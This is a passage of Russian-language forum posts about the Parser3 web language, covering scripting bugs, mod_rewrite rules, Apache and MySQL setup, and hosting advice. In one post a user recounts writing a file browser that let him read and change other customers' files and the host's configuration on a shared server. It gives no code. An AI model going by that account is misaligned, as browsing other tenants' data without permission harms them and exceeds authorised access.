    $height[210]\
   }\
\
И потом - <IMG ALT=$alt\
	       SRC=$path\
               width=$width\
               height=$height\
               BORDER=0>"
"24220","Они опять сделали халявную регистрацию"
"24223","Что-то типа: $path[pic/$base.photos_name/${base.photos_name _main_}${photo_id}.jpg], проверьте точность частей."
"24224","[quote]Где его вести - дело барское, можно на стороне клиента, можно на стороне сервера.[/quote]\
\
Лучше на стороне клиента, куку ему дать и всё.\
А с сервером не заморачиваться, ибо придётся как-то идентифицировать юзера, где-то хранить записи о виденных рисунках...\
\
Да и юзер может увидеть один несколько раз одну и ту же картинку, я не думаю, что это страшно.\
Главное не одну и туже постоянно.\
Тогда с журналом можно огород и не городить, тут уж как человеку подходит."
"24225","а если картинок несколько десятков а надо вывести всего пять  и если это не картинки а внутренняя баннерная система? можно сделать так? - \
\
$bantab(1) \
^while($bantab < 6){ \
 ^bantab.inc[]\
рисунок_^math:random(сколько_всего_картинок).\
}\
\
тогда вопрос как проверить так что бы среди этих пяти не повторялись картинки?\
и не лучше ли сделать цфгешник в котором прописать все картинки, адреса по ссылкам и alt к картинкам.\
\
выводить также \
^while($bantab < 6){...\
$ban[^table::load[/images/ban/ban.cfg]]...} \
тот же вопрос как проверять есть вставлена картинка или нет? чтобы не повторялась"
"24227","Есть таблица: \
[code]\
item\
item1\
item2\
item3\
[/code]\
Есть код,\
[code]\
$tbl[^table::load[/items.cfg]]\
^switch[item2]{\
 ^tbl.menu{\
  ^case[$tbl.item]{$tbl.item}\
 }\
^case[DEFAULT]{default item}\
}\
[/code]\
который отдает \"item1\". Этот код отдает первую строчку в таблице в любом случае. Ничего не понимаю..."
"24229","[code]\
$dyn[^hash::create[]] \
^for[i](1;9){ \
   $dyn.$i[item$i] \
} \
^switch[item2]{\
 ^dyn.foreach[key;value]{\
  ^case[$value]{$value}\
 }\
^case[DEFAULT]{default item}\
}\
[/code]\
Отдает \"item8\", т.е. на единице меньше, чем надо..."
"24230","...проявляется в следующем:\
из базы берется строка, сохраняется в $таблице и в конструкции\
\
<FORM>\
<SELECT method=\"POST\" onchange=\"submit()\">\
^таблица.menu{\
   <OPTION value=\"$строка\">$строка</OPTION>\
}\
</SELECT>\
</FORM>.\
\
По отработке submit() берем $form:строка и сравниваем со всеми строками из $таблицы для проверки примерно так:\
\
^таблица.menu{\
   ^if($таблица.строка eq $form:строка){\
      \"$таблица.строка\" равно \"$form:строка\"\
   }{\
      \"$таблица.строка\" не равно \"$form:строка\"\
   }\
}[<br>],\
\
получая на голубом экране примерно следующее:\
\
\"Изменить права доступа к документу\" НЕ РАВНО?! \"Изменить права доступа к документу\"\
\"Изменить права доступа к секции\" не равно \"Изменить права доступа к документу\"\
... не равно \"Изменить права доступа к документу\"\
\
и т.д. При всем при этом, если я убираю в базе из строки \"Изменить права доступа к документу\" слова \"права\" и \"доступа\", конструкция начинает работать корректно. И такая упрямая строка у меня не одна!\
\
Мысль о том, что в русском тексте есть сходная по начертанию латиница, по привычке отработалась, но потом вспомнил, что источник-то один. Вот такая вот беда... \\:("
"24231","для начала:\
- method пишется у FORM а не у SELECT\
- у SELECT должен быть name, которого почему-то не видно (возсожно, что name = 'строка' учитывая тот факт, что вы пишите $form:строка\
- совершенно непонятна конструкция <OPTION value=\"$строка\">$строка</OPTION>. не ясно на фига у всех OPTION задавать одно и то-же значение, которое лежит в переменной $строка и совершенно никак не связано с $таблица\
\
если это все были опечатки, а не источники проблемы, то приведите ВАШ кусок кода полностью, т.к. гадать лень."
"24232","вы хотите чтобы он когда еще не знает что будет в итоге во всех case сделал правильный выбор?\
\
если вы хотите создать кусок с кодом на парсете, а затем его отпроцессить, то ^process вам в руки, а перед switch и case поставьте по паре птичек. т.е. у вас будет строка, которую надо выполнить.\
\
но уверен, что есть более изящное решение. опишите вашу задачу."
"24233","Нужно сравнить строку из uri со строкой из таблицы (в таблице что-то типа uri - class) и затем подключить нужный класс и воспользоваться его заранее известным методом. \
Попробую с process. А чем плохо данное решение?"
"24234","Пардон, исходники дома, а я с работы. По памяти восстановить трудно, так как обнаружилось недавно, а писалось давно. Исправляю опять же примерно:\
\
<FORM method=\"POST\">\
<SELECT name=\"строка\" onchange=\"submit()\">\
^таблица.menu{\
<OPTION value=\"$таблица.строка\">$таблица.строка</OPTION>\
}\
</SELECT>\
</FORM>\
\
...там ХТМЛ-код рабочий, и это вот\
\
^таблица.menu{\
^if($таблица.строка eq $form:строка){\
\"$таблица.строка\" равно \"$form:строка\"\
}{\
\"$таблица.строка\" не равно \"$form:строка\"\
}\
}[<br>]\
\
тоже работает, но только, примерно, на 98% записей. Вот по этим двум процентам и хотелось бы разобраться.\
Спасибо."
"24235","Во-первых оператор ^switch имеет вполне конкретный синтаксис, и не предусамтривает подобного, \"вольного\", отношения...\
\
Во-вторых Ваша задача решается в одну строчку с использованием ^table.locate..."
"24238","[quote]а если картинок несколько десятков а надо вывести всего пять и если это не картинки а внутренняя баннерная система? можно сделать так?\
\
$bantab(1) \
^while($bantab < 6){ \
^bantab.inc[]\
рисунок_^math:random(сколько_всего_картинок).\
}[/quote]\
\
А зачем? Просто сделайте рэндом с пределом в 5.\
\
[quote]тогда вопрос как проверить так что бы среди этих пяти не повторялись картинки?[/quote]\
Даёте юзеру куку, где пишите картинки, которые он посмотрел.\
\
Потом проверяете наличие этой куки у вновь пришедшего юзера, если есть - смотрите какие он уже видел.\
Видел - новый рэндом, пока не сгенерится номер той, которой не видел. Ну, думаю понятно.\
\
[quote]и не лучше ли сделать цфгешник в котором прописать все картинки, адреса по ссылкам и alt к картинкам.[/quote]\
Можно, почему нет.\
\
А проверять - опять куку юзеру, в ней пишете номер строки, под которой у Вас картинка в таблице (или другое поле, тут зависит от того, что у Вас генерится).\
Потом генерите рэндомом номер, если юзеру уже показывали эту строку - новый рэндом.\
\
Но, при таком алгоритме у Вас наступит затык, когда юзер посмотрит все уникальные картинки.\
Поэтому можно сделать время жизни у куки небольшим. И по прошествии этого времени всё начнётся заново."
"24239","[b]Yarick[/b]\
А не пробовали в кавычки взять сравниваемые строки?\
Авось..."
"24240","сделать цикл от 1 до 5 (столько банеров должно показываться одновременно)\
а в нем сделать рандом из всех имеющихся?\
\
как без куков сделать так что бы одновременно ( на одной странице) не загружалась одна и таже картинка дважды или трижды ( ведь рендом может несколько раз из 20 выбрать например 3)?\
\
и все без куков"
"24241","В смысле ^if(\"$таблица.строка\" eq \"$form:строка\"){...}{...}? :-) Или в базе данных ограничивать запись кавычками? :-) \
   Мне интересно, почему не всегда выполняется условие эквивалентности двух переменных, в котороых находится одна и та же строка, берущаяся из разных источников. \
   Перефразируя, не получается ли так, что при выборке строки из базы и той же строки из формы мы получаем две разные, в определенных случаях, строки."
"24242","ситуация очень простая, есть два файла auto.p и index.html, в auto.p есть @main[]и там записан весь код. Index.html пустой. Почему метод не вызывается?"
"24243","Если в index.html не определен ни один метод [как вариант - пустой файл], то все его содержимое считается методом @main, и он перекрывает метод main из auto.p...\
\
http://www.parser.ru/docs/lang/?mainclass.htm"
"24244","т.е. я говорю \"не верю\" пока вы не приведене copy/paste кода, который у вас не работает, и который я могу попробовать.\
\
еще может быть вы в коде написали ^if($таблица.строка eq $form.строка){} а сейчас пишите правильно...\
\
я к чему: гадать на кофейной гуще нечего. copy/paste кода сюда."
"24245","Алгоритм такой: \
1. Делаем рандом и результат итерации добавляем в хэш. \
2. Повторяем 1, пока размер хэша меньше нужного нам значения.\
\
[code]\
   $temp[^hash::create[]]\
   ^while($temp<3){\
     ^temp.add[$.[^math:random(30)][]]\
   }\
\
   ^temp.foreach[key;value]{\
     <img src=\"${key}.gif\" />\
   }   \
[/code]"
"24249","...а уже второй день хожу с глупым удивлением на лице. Завтра, если смогу, уточнюсь (МТС-овский GPRS жутко глючит и необязательно смогу выйти в И-нет). Спасибки за участие. До скорого!.."
"24250","а как всетаки это сделать с помощью цфгешника?\
так ведь проще?\
там и урла самой картинки\
и урла ссылки\
и alt к самой картинке"
"24251","... а как его использовать решайте сами. В случае с таблицей можете просто сформировать список ее строк [по предложенному методу]...\
\
Или все-таки почитайте тред на который Вам Миша ссылку дал..."
"24252","Здравствуйте,\
\
У нас с Вами как-то был разговор на тему чем опасен парсер без ограничения групп (http://www.parser.ru/forum/?id=12302).\
Хостер меня тогда успокаивал, что мол всё в порядке и всё надёжно, несмотря на то, что все .cgi на сервере работают от одного user/group.\
Тогда у меня (почти) не было познаний в Парсере. Сегодня я за полтора часа написал на Парсер подобие \"Explorer'a\" которое действительно позволяет зайти ко всем хостящимся на моём сервере, смотреть и изменять их файлы и даже выходит за пределы /htdocs/.\
Я просто в шоке!\
Дело в том, что админ попросил меня назвать причину, почему происходит ошибка post_size(0)!=content_size(x) а также \"Method not allowed\" при сабмите формы методом POST.\
Я прочёл Вашу с yz дискуссию \
(http://www.parser.ru/forum/?id=16848) на эту тему, но мне также ни одна из стратегий не подошла. \
Затем я прочёл про возможные ошибки в suEXEC - и когда хостер в ответ на мой вопрос сказал, что suEXEC у них на сервере вообще не используется - тут до меня дошло, что Вы имели ввиду год назад :-)\
\
Однако, при помощи своей программы, я посмотрел на httpd.conf и другие файлы хостера, никаких <LIMIT> <LIMITEXCEPT> там я не нашел. Зато нашёл другое - все домены хостящихся настроены по такому принципу:\
\
[code]\
#www.myserver.de\
<VirtualHost XXX.XX.XXX.XX>\
ServerName www.myserver.de\
ServerAlias evronet.de *.myserver.de\
ServerAdmin info@myserver.de\
Documentroot /home/vhosts/single/www/myserver.de\
php_admin_value open_basedir /home/vhosts/single/www/myserver.de\
RLimitCPU 6 300\
php_admin_value upload_tmp_dir /home/vhosts/single/www/myserver.de/tmp\
php_admin_value sendmail_path '/usr/sbin/sendmail -t -i -fpostmaster@myserver.de'\
ScriptAlias /cgi-bin/ /home/vhosts/single/www/myserver.de/cgi-bin/\
TransferLog /home/vhosts/logs/myserver.de_log\
RewriteEngine on\
RewriteCond %{HTTP_HOST} ^(.*)\\.myserver\\.de$\
RewriteCond %{HTTP_HOST} !^www\\.myserver\\.de$\
RewriteRule (.*) http://myserver.de/%1$1 [P]\
</VirtualHost>\
[/code]\
\
И потом я нашёл информацию про баг в mod_rewrite: http://archive.apache.org/gnats/4928\
\
Может дело в этом?\
К сожалению, моих знаний на большее не хватает, а понять в чём дело очень охота. Я хотел бы попросить Вас помочь мне найти причину ошибок.\
Любые необходимые конфигурационные файлы я мог бы достать ;-) единственно обидно, что я понимаю их далеко не полностью. Может на них стоит взглянуть знающим людям?\
\
Сейчас по крайней мере ясно одно - от хостера надо бежать, как Вы и говорили раньше. Однако было бы интересно найти решение проблемы с POST'ом пока есть возможность.\
\
Ещё раз большое спасибо за Ваши советы и информацию!\
\
С уважением,\
\
Molotoff"
"24253","У кого есть опыт, посоветуйте пожалуйста, по-настоящему высококачественный parser-friendly хостинг, пригодный для коммерческих проектов. Желательно в Германии или по крайней мере с хорошими скоростями на Германию/Америку.\
Кто стесняется делать рекламу в форуме -- можно мэйлом.\
\
Спасибо!\
\
С уважением,\
\
Molotoff"
"24254","Теперь понятно, почему вы решили менять хостинг)))) Бежать оттуда надо бежать)))"
"24256","[b]Yarick[/b]\
Кавычки в условии конечно.\
\
Да, дайте для начала копию кода.\
А то гадаем... А там на самом деле одно и то же поле с другим сравнивается..."
"24257","Простите за оффтопик, просто интересно узнать:\
\
http://www.xanadustudio.ru/design/sites/\
\
Вид-Просмотр html-кода, а там пусто. Как так?"
"24259","Там вначале много пустых строк.\
Создается впечатление, что ничего нет."
"24261","я тогда прозевал неправильный ответ на вот это своё сообщение:\
http://www.parser.ru/forum/?id=17012\
\
вы понимаете, какой надо тест провести? проведите его."
"24262","её нашёл/сообщил Рамзес, который сейчас активно переводит документацию на английский язык."
"24263","сейчас алгоритм простой: \
[code]\
ищем подходящий case, \
  если нашли выполняем, \
  если нет, выполняем DEFAULT (если был)\
[/code]\
в вашем случае код мы нашли, но по окончании ^tbl.menu{} текущая строка tbl уже другая.\
\
можно переделать, чтобы работало. нужно ли?"
"24265","это известная проблема. никто не писал до этого про rewrite, и никто не подозревал веб-администратора в таком бреде.\
\
конструкции, написанные веб-администратором [подсмотренные вами], ужасны.\
\
1. попробуйте просто выключить ненужное:\
в своём .htaccess напишите [code]RewriteEngine off[/code].\
если же вам нужен RewriteEngine, спокойно используйте [code]RewriteEngine On[/code], по-умолчанию, если вы используете директиву RewriteEngine, rewrite конфиг не наследуется.\
\
2. почему в PHP работало, а в parser нет: возможно, в mod_php работает. в mod_parser3 тогда тоже работает. но вы используете CGI."
"24266","как-то мы здесь дискутировали на эту тему с одним горячим парнем: у его веб-администратора было забавное решение проблемы.\
\
и хотя я всё равно не согласен: suexec ближе к моему пониманию безопасности, чем идеи того веб-администратора, лучше так, как сделал он, чем вообще ничего.\
\
пожалуйста, кто найдёт дискуссию, киньте сюда ссылку?"
"24267","на сайте самизнаетекого так было уже N лет назад :)\
[сейчас нет]"
"24268","RewriteRule ^(.+)/(poems)/([0-9]{1,2,3,4})$	/poem\\.html\\?poem=$3\\.xml$\
\
Дает внутреннюю ошибку сервера, а должно преобразовывть:\
\
/poems/80 в /poem.html?poem=80.xml\
\
Что между шаблонами? Табулятор или пробел?"
"24269","Эта директива не делает ничего,\
\
RewriteRule ^/poems/$ /poems\\.html\
\
Хотя должна преобразовывать /poems/ в /poems.html\
\
Где я туплю?"
"24270","RewriteRule ^/fun\\.html$ /index\\.html\
\
Что не так?!"
"24271","Новый бесплатный хостинг обнаружился с mysql и ssh - http://fwm.ru/ (не реклама - они мне не платят). Enjoy."
"24273","кроме шуток..."
"24274","http://fwm.ru/forum/display_topic.php?idft=27\
\
bin есть, и если он не /cgi-bin/ я сильно удивлюсь ;-)"
"24275","RewriteRule ^poem/ /index.html"
"24276","поделитесь опытом\
я вроде всё сделал как в инструкции:\
скомпилировал из исходников этот модуль,\
библиотеки все нужные установлены под php,\
пути к файлу ключей, id и пароль всё правильно прописал\
даже в шеле всё запускается как описано, т.е. вроде всё ok\
\
... но нифига не ok :((\
скрипт пишет, что сообщение отравило мне через внутреннюю почту WebMoney, но я ничего не получаю, хотя если отсылать из проги сообщение нормально доходит\
тоже самое с выпиской счетов\
\
Если кто сталкивался с этим поделитесь опытом."
"24277","Сначала я оттуда благополучно съеду, а вот потом -- пожалуйста :-)\
А то, если я там такого понаделать могу -- что можно ожидать от настоящих профессионалов? Они этому провайдеру не то что веб-сервер -- электричество и отопление отключат ;-)\
\
С уважением,\
\
Molotoff"
"24278","Только что нашёл неплохое предложение для хостинга. Народ хвалит.\
Единственно, на сервере действуют следующие ограничения для работы скриптов (из расчёта на один вызов программы): \
\
20 MB RAM, 10 секунд CPU и 90 секунд на исполнение.\
\
Это много или мало? (Вопрос из разряда \"is there enough?\" © Monty Python)\
\
Может существуют какие-либо ориентировочные данные которыми можно руководствоваться?\
\
С уважением,\
\
Molotoff"
"24279","Чес, слово мне уже стыдно, но пишу вот такой код: \
@show_news[]\
$file[^file::load[text;http://www.parser.ru/forum/?id=24183]]\
Программное обеспечение сервера: $file.SERVER\
<hr>\
<pre>$file.text</pre>\
\
\
... и опять ошибка, не работает, у меня стоит Денвер Парсерной версией 3.0.7 Может проблема в этом ????\
А ещё работаю через прокси WinGate ..."
"24280","Достаточно для\
форума, гостевой, ленты новостей и многого другого - разумеется, если пользоваться БД, если не пользоваться то со временем этого станет наверно маловато (например, когда объём какой-нибудь из таблиц станет 21Mb), также закачивать файлики на сервер средствами парсера размером более ~20Mb будет сложновато.\
\
Вывод для Абсолютного большинства проектов хостинг подходит, при условии, что там есть БД."
"24281","мне для практически всех задач хватает 16 МБ (забыл написать: у меня обширная работа с БД, xml/xsl, однако код все-таки я оптимизирую, правда уже почти на автомате...)\
\
но есть задачи, которым этого недостаточно (например есть большая куча данных пользователей, её надо расковырять и поскладывать в мою структуру). тут можно:\
1. увеличить пороги/времени выполнения (трясу наших админов)\
2. сделать все локально, а на хостинге просто залить дамп\
\
еще задача: рассылка писем подписчикам. это запросто вписывается в лимит памяти, но по времени выполнения может затянуться (при большом списке подписчиков). имейте ввиду эту задачу ввиду."
"24282","Не срабатывает lowscr. Сразу грузится большая картинка. Это может быть как-то связано с парсером?\
\
\
    $path[pic/$base.photos_name/${base.photos_name}${photo_id}smal.jpg]\
    $path3[pic/$base.photos_name/${base.photos_name}${photo_id}.jpg]\
\
\
<IMG ALT=$alt SRC=$path3 LOWSCR=$path WIDTH=$width HEIGHT=$height BORDER=0>"
"24284","Всю жизнь с такими мелочами мучаюсь :)"
"24286","В базе хранятся описания из нескольких слов, а выводится только первое. В чем причина?"
"24289","http://www.artlebedev.ru/portfolio/routine/\
\
там, по-моему, январь месяц лишний в 2003 году.\
\
Извините, если, что :-)"
"24290","и перевод доки по mod_rewrite у Александра Егорова.\
\
Сначала нужно понять принцип работы модуля, потом осваивать синтаксис."
"24291","А из лишнего января - в лишний февраль, оттуда в март и т.д. Причем обратно нельзя."
"24292","1. /usr/libexec/ld-elf.so.1: /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"stpcpy\"\
\
что это значит?\
\
2. Может ли Parser не работать из-за слишком старой верии MySQL? :)\
\
3. админ сервера сказал, что после меня там обнулилсь\
   /usr/local/lib/mysql/libmysqlclient.so.12\
   /usr/local/lib/mysql/libmysqlclient_r.so.12\
может такое быть? и почему, если может?\
\
4. Можно ли как-нибудь указать ТОЧНЫЙ путь libmysqlclient не изменяя драйвера?\
\
P.S.: при явно неверном обращении к SQL выдает ошибку парсера...\
\
--------------------\
Parser - 3.1.0 grupunlim\
Server - FreeBSD"
"24293","[code]\
<!ELEMENT IMG - O EMPTY                -- Внедрённое изображение -->\
<!ATTLIST IMG\
  %attrs;                                    -- %coreattrs, %i18n, %events --\
  src         %URI;          #НЕОБХОДИМ       -- URI изображения для вставки --\
  alt         %Text;         #НЕОБХОДИМ       -- краткое описание --\
  longdesc    %URI;          #ПРЕДПОЛАГАЕТСЯ  -- ссылка на полное описание (дополняет alt) --\
  name        CDATA          #ПРЕДПОЛАГАЕТСЯ  -- имя изображения (для скриптов) --\
  height      %Length;       #ПРЕДПОЛАГАЕТСЯ  -- переопределить высоту --\
  width       %Length;       #ПРЕДПОЛАГАЕТСЯ  -- переопределить ширину --\
  usemap      %URI;          #ПРЕДПОЛАГАЕТСЯ  -- использовать клиентские карты изображений --\
  ismap       (ismap)        #ПРЕДПОЛАГАЕТСЯ  -- использовать серверные карты изображений --\
  >\
[/code]\
\
Из чего делаем заключение, что lowscr или lowsrc не поддерживается. Если посмотреть спецификацию html 3.2 то и там такого нет.\
Следовательно это один из параметров для конкретных браузеров типа IE 4 или Netscape.\
Если мне не изменяет память то он не должен выводить уменьшеную картинку до отображения большой, он должен показывать ее на монохромных мониторах. Хотя могу ошибаться."
"24294","Ухты. А где можно заглянуть в такую спецификацию? Я бы с удовольствием почитал на досуге."
"24296","это фича ТОЛЬКО Нетскейпа. Всю жизнь так было. Не факт, что в Мозиле даже есть."
"24297","но что самое интересное - он по-разному работает в зависимости от того, существует ли URI определяемый левым условием, или нет. Дока пока не помогла."
"24298","не для баловства, а чтобы никогда к нему не обращаться."
"24299","синтаксис нашел... не в первых строках первого документа. А такого загадочного зверя изучать правильнее всего на опытах. Все равно — пока не почуствуешь, не поймешь."
"24300","тут в форуме пролетал вопрос про потерю полей формы при использовании субжа. Столкнулся. Как лечится, не нашел. Упражнения с regexpami пока результата не дают.\
\
Так лечится? И как?"
"24303","Можно переопределить MIME-type на application/octet-stream - наверняка будет предлагать сохраняться."
"24304","а то я даже не знаю, забыто али нет."
"24305","но не в доке :("
"24306","[quote][b]'qsappend|QSA' (query string append)[/b]\
This flag forces the rewriting engine to append a query string part in the substitution string to the existing one instead of replacing it. Use this when you want to add more data to the query string via a rewrite rule.[/quote]\
Три PageDown от http://httpd.apache.org/docs/mod/mod_rewrite.html#RewriteRule"
"24307","Поиск по тексту искомых трех букв ничего не дал...\
А последний абзац пришлось установить опытным путем.\
Кстати, обнаружил различия в работе mod_rewrite в Денвере и у хостера... Как только приведет к проблемам, напишу."
"24311","Работает ли Parser3_1_1 с Apache2.0.48?\
Зарание спасибо.\
И если работает не моглибы ВЫ проконсультировать нас по настройки Parser'a под Apache.\
DDS_Kriss."
"24314","Apache+SSL падает после нескольких заходов на сервер по https, из-за чего может быть такая ошибка error.log: \
[Mon Nov 24 13:45:05 2003] [crit] (10038)Сделана попытка выполнить операцию на объекте, не являющемся сокетом: Parent: WSADuplicateSocket failed for socket 196.\
[Mon Nov 24 13:45:05 2003] [error] master_main: create child process failed. Exiting.\
[Mon Nov 24 13:46:05 2003] [error] forcing termination of child #0 (handle 420)"
"24315","ибо пользователи МакОС потеряют тип файла, он там определяется не по расширению. И будет у них неизвестный документ неизвестной программы."
"24316","а для себя достаточно поменять в браузере.\
Тем более что этот недостаток обнаружен только в Опере, в IE и Mozilla все ок.\
Про пользователей Mac не упоминаю, т.к. нет возможности проверить. Если у вас есть такая возможность, протестируйте на этом примере:\
http://www.spearance.ru/parser3/makepass/\
и доложите результат в форум."
"24317","Нетскейп, как я и говорил, сохраняет как абсолютно неизвестный файл. Эксплорер открывает в браузере. Чудо в перьях :)\
\
(версии соответственно: 4.7 и 5 )\
\
Но для файла .httppass это не критично... Вот была бы картинка, было бы неприятно."
"24318","Сафари у меня не установлен."
"24319","Тест тега\
[code]\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
[/code]\
Тест закончен"
"24320","как сделать с помошью Парсера доступ к куче страниц, названия и содержание которых содержится в базе? причем, требуется, чтоб путь к каждой странице был вида /docs/page001/, где /docs/ - место, где лежит скрипт парсера, а page001 - название страницы, а не реально существующая папка. конструкции типа /docs/?page=1 не интересуют."
"24321","Извиняюсь за оффтопик, но...\
\
Есть вот такой xml (для построения структуры сайта) :\
\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\" standalone=\"no\"?>\
<navigation> \
	<page url=\"/\" name=\"Главная страница\" parent-id=\"0\" id=\"1\">\
	<window_name>Главная страница</window_name>\
	<url>/</url>\
	<is_show_on_site_map>1</is_show_on_site_map>\
	<is_show_in_menu>1</is_show_in_menu>\
\
             <page url=\"/contacs\" name=\"Контакты\" parent-id=\"1\" id=\"2\">\
	     <window_name>Контакты</window_name>\
	     <url>/contacs</url>\
	     <is_show_on_site_map>1</is_show_on_site_map>\
	     <is_show_in_menu>1</is_show_in_menu>\
	\
	\
	\
	        <page url=\"/service\" name=\"Услуги\" parent-id=\"2\" id=\"7\">\
	        <window_name>Услуги</window_name>\
	        <url>/service</url>\
	        <is_show_on_site_map>1</is_show_on_site_map>\
	        <is_show_in_menu>1</is_show_in_menu>\
	        </page>\
	\
             </page>\
	\
	     <page url=\"/forum\" name=\"Форум\" parent-id=\"1\" id=\"3\">\
	     <window_name>Форум</window_name>\
	     <url>/forum</url>\
	     <is_show_on_site_map>1</is_show_on_site_map>\
	     <is_show_in_menu>1</is_show_in_menu>\
	     </page>\
	\
	     <page url=\"/press\" name=\"Пресс-служба\" parent-id=\"1\" id=\"4\">\
	     <window_name>Пресс-служба</window_name>\
	     <url>/press</url>\
	     <is_show_on_site_map>1</is_show_on_site_map>\
	     <is_show_in_menu>1</is_show_in_menu>\
	\
	\
	          <page url=\"/news\" name=\"Новости\" parent-id=\"4\" id=\"5\">\
	          <window_name>Новости</window_name>\
	          <url>/news</url>\
	          <is_show_on_site_map>1</is_show_on_site_map>\
	          <is_show_in_menu>1</is_show_in_menu>\
	          </page>\
	\
             </page>\
	\
	     <page url=\"/about\" name=\"О конторе\" parent-id=\"1\" id=\"6\">\
	     <window_name>О конторе</window_name>\
	     <url>/about</url>\
	     <is_show_on_site_map>0</is_show_on_site_map>\
	     <is_show_in_menu>0</is_show_in_menu>\
	\
	</page>\
	\
        </page>\
\
</navigation>\
[/code]\
\
\
Таким шаблоном создаем визуальное дерево :\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:output method=\"xml\" version=\"1.0\" encoding=\"windows-1251\" indent=\"yes\"/>\
\
<xsl:template match=\"navigation\">\
 <div style=\"padding:10\">\
  <xsl:apply-templates select=\"/navigation/page[@parent-id = 0]\" />\
 </div>\
</xsl:template>\
\
\
<xsl:template match=\"/navigation/page[@parent-id = 0]\">\
  <div>\
   <xsl:attribute name=\"style\">padding-left: <xsl:value-of select=\"count(ancestor::page)*2\"/> em</xsl:attribute>\
    <li/>\
    <a href=\"{url}\">\
     <xsl:value-of select=\"@name\" />\
    </a>\
  </div>\
 <xsl:apply-templates select=\"page[@parent-id != 0]\" />\
</xsl:template>\
\
\
<xsl:template match=\"//page[@parent-id != 0]\">\
 <div>\
  <xsl:attribute name=\"style\">padding-left: <xsl:value-of select=\"count(ancestor::page)*2\"/> em</xsl:attribute>\
  <li/>\
    <a href=\"{url}\">\
     <xsl:value-of select=\"@name\" />\
    </a>\
  </div>\
 <xsl:apply-templates select=\"page[@parent-id != 0]\"/>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
Но у меня неполучаеться сделать самое главное - чтобы строились ссылки по вложенности.\
(чтобы потом можно было менять родителя и сразу же менялись дети)\
\
Тоесть в данном случае выходит :\
/press/\
и\
/news/\
\
А нужно\
/press/\
и\
/press/news/\
\
C XSL стал мучиться недавно и поэтому немогу никак сообразить... может есть какое другое решение (более правильное)?\
\
Заранее спасибо"
"24322","1. Сделайте в .htaccess констукцию RewriteRule:\
   RewriteRule ^docs/(.*)/$  /docs/index.html?id=$1\
2. В вашем скрипте вы сможете получить всё что будет после doc/\
   в $form:id\
3. Если в базе документа не будет, отдайте $response:status[404]\
\
Удачи."
"24323","посмотрите, как там сделан последний темплейт, вам должен как раз подойти..."
"24324","ротацию логов на парсере?"
"24325","Проблемка оказалась в том, что перед выводом ХТМЛ-кода использовалась автотипографика, и после предлогов whitespace менялся на неразрывный пробел, после чего из формы бралась уже другая строка, внешне не отличимая от оригинала.\
Всем СПАСИБО за участие!.."
"24327","помогите пожалуйста, вроде всё правильно делаю, а ничего не выходит\
требуется загрузить любой файл на сервер. при этом файл сохраняется с произвольным именем, а в базу пишется это произвольное имя, расширение файла, его старое имя (у пользователя)\
Форум читал, но так и не смог понять причину ошибки\
\
[code]\
<form enctype=\"multipart/form-data\" name=\"form2\" method=\"post\">\
<input type=\"file\" name=\"f_1\">\
<input type=\"submit\" value=\"Сохранить\" name=\"save_file\">\
</form>\
\
^if(def $form:save_file){\
^if(def $form:f_1){\
$extension[^file:justext[$form:f_1]] ^rem{расширение}\
$filename[^file:basename[$form:f_1]] ^rem{это старое имя файла}\
$new_name[^math:uid64[]]\
^form:f_1.save[binary;/files/upload/$new_name]\
^void:sql{\
insert into files (file_name, file_ext, file_new_name)\
values\
('$filename', '$extension', '$new_name')\
}\
}\
}\
[/code]\
\
\
На такую конструкцию выдаёт ошибку: unknown mode, must be 'append'\
\
Если убрать binary, соответственно пишет файл с произвольным именем, внутри которого содержится путь к загружаемому файлу, а не сам файл"
"24328","раньше была такая конструкция\
^if(def $form:f_1 && $form:f_1 is \"file\"){}\
сейчас почему-то она не действует (парсер 3.1.1) - т.е. просто не пропускает файлы по второму условию"
"24329","нужно писать [i]$extension[^file:justext[$form:f_1[b].name[/b]]][/i], и т.д."
"24330","не умеет ходить через proxy."
"24331","пожалуйста, воспользуйтесь поиском по форуму"
"24333","возможно это может иметь место при каких-то хитрых условиях, которые у меня не использовались..."
"24334","неправду я написал.\
конечно, работает POST и при проксировании запроса.\
\
единственный случай, когда сам наблюдал потерю POST данных, это когда кто-то написал action=\"тут\" каталог без / на конце.\
произошёл internal redirect, и POST данные потерялись.\
\
возможно, ваш случай?"
"24336","Берем урок 2 из документации, тестируем и обнаруживаем, что:\
\
/file.html eq /file.html?field=value\
\
with mod_rewrite:\
\
/file/ ne /file?fileld=value\
/file/ ne /file/?filed=value\
\
Предложения? Внушения? РТФМ? \
Но навигация через это слегка теряет в интуитивности."
"24337","Вот код, приведенный для обработки 404:\
\
@unhandled_exception[exception;stack]\
^if($exception.type eq 'file.missing' && !$stack){\
        $exception.handled(1)\
        $response:location[/404/]\
}{\
        ^if(0 #<< тут ваше условие <<){\
                ^unhandled_exception_debug[$exception;$stack]\
        }{\
                ^unhandled_exception_release[$exception;$stack]\
        }\
}\
\
Вопрос: почему не $response:code[404]? Вроде бы грамотней?"
"24340","<!--skip-->\
<body onLoad=\"document.bigImg.src='hirez.jpg'\">\
<!--skip-->\
<script>\
<!--\
document.write('<img src=\"lowrez.gif\" name=\"bigImg\">');\
//-->\
</script>\
<noscript>\
<img src=\"hirez.jpg\" name=\"bigImg\">\
</noscript>\
<!--skip-->\
\
А если плюнуть на браузеры без джаваскрипта так и еще проще:\
\
<!--skip-->\
<body onLoad=\"document.bigImg.src='hirez.jpg'\">\
<!--skip-->\
\
<img src=\"lowrez.gif\" name=\"bigImg\">\
\
<!--skip-->"
"24341","Идея — линейная навигация по страницам из списка, позволяющая с любой страницы переходить на следующую/предыдущую.\
\
Добрые люди, укажите на ошибку.\
\
@Designav[]\
$pages[^table::create{pos	uri	name\
1	/design/logo1/	Logo1\
2	/design/logo2/	Logo2\
3	/design/logo3/	Logo3\
4	/design/logo4/ Logo4}\
]\
$current_page[^pages.locate[uri;$request:uri]]\
^if($current_page.pos > 1){\
	^if($current_page.pos < $pages){\
		<TD>\
		^current_page.offset[cur](-1)\
			<a href=\"$current_page.uri\">prev</a>\
		</TD>\
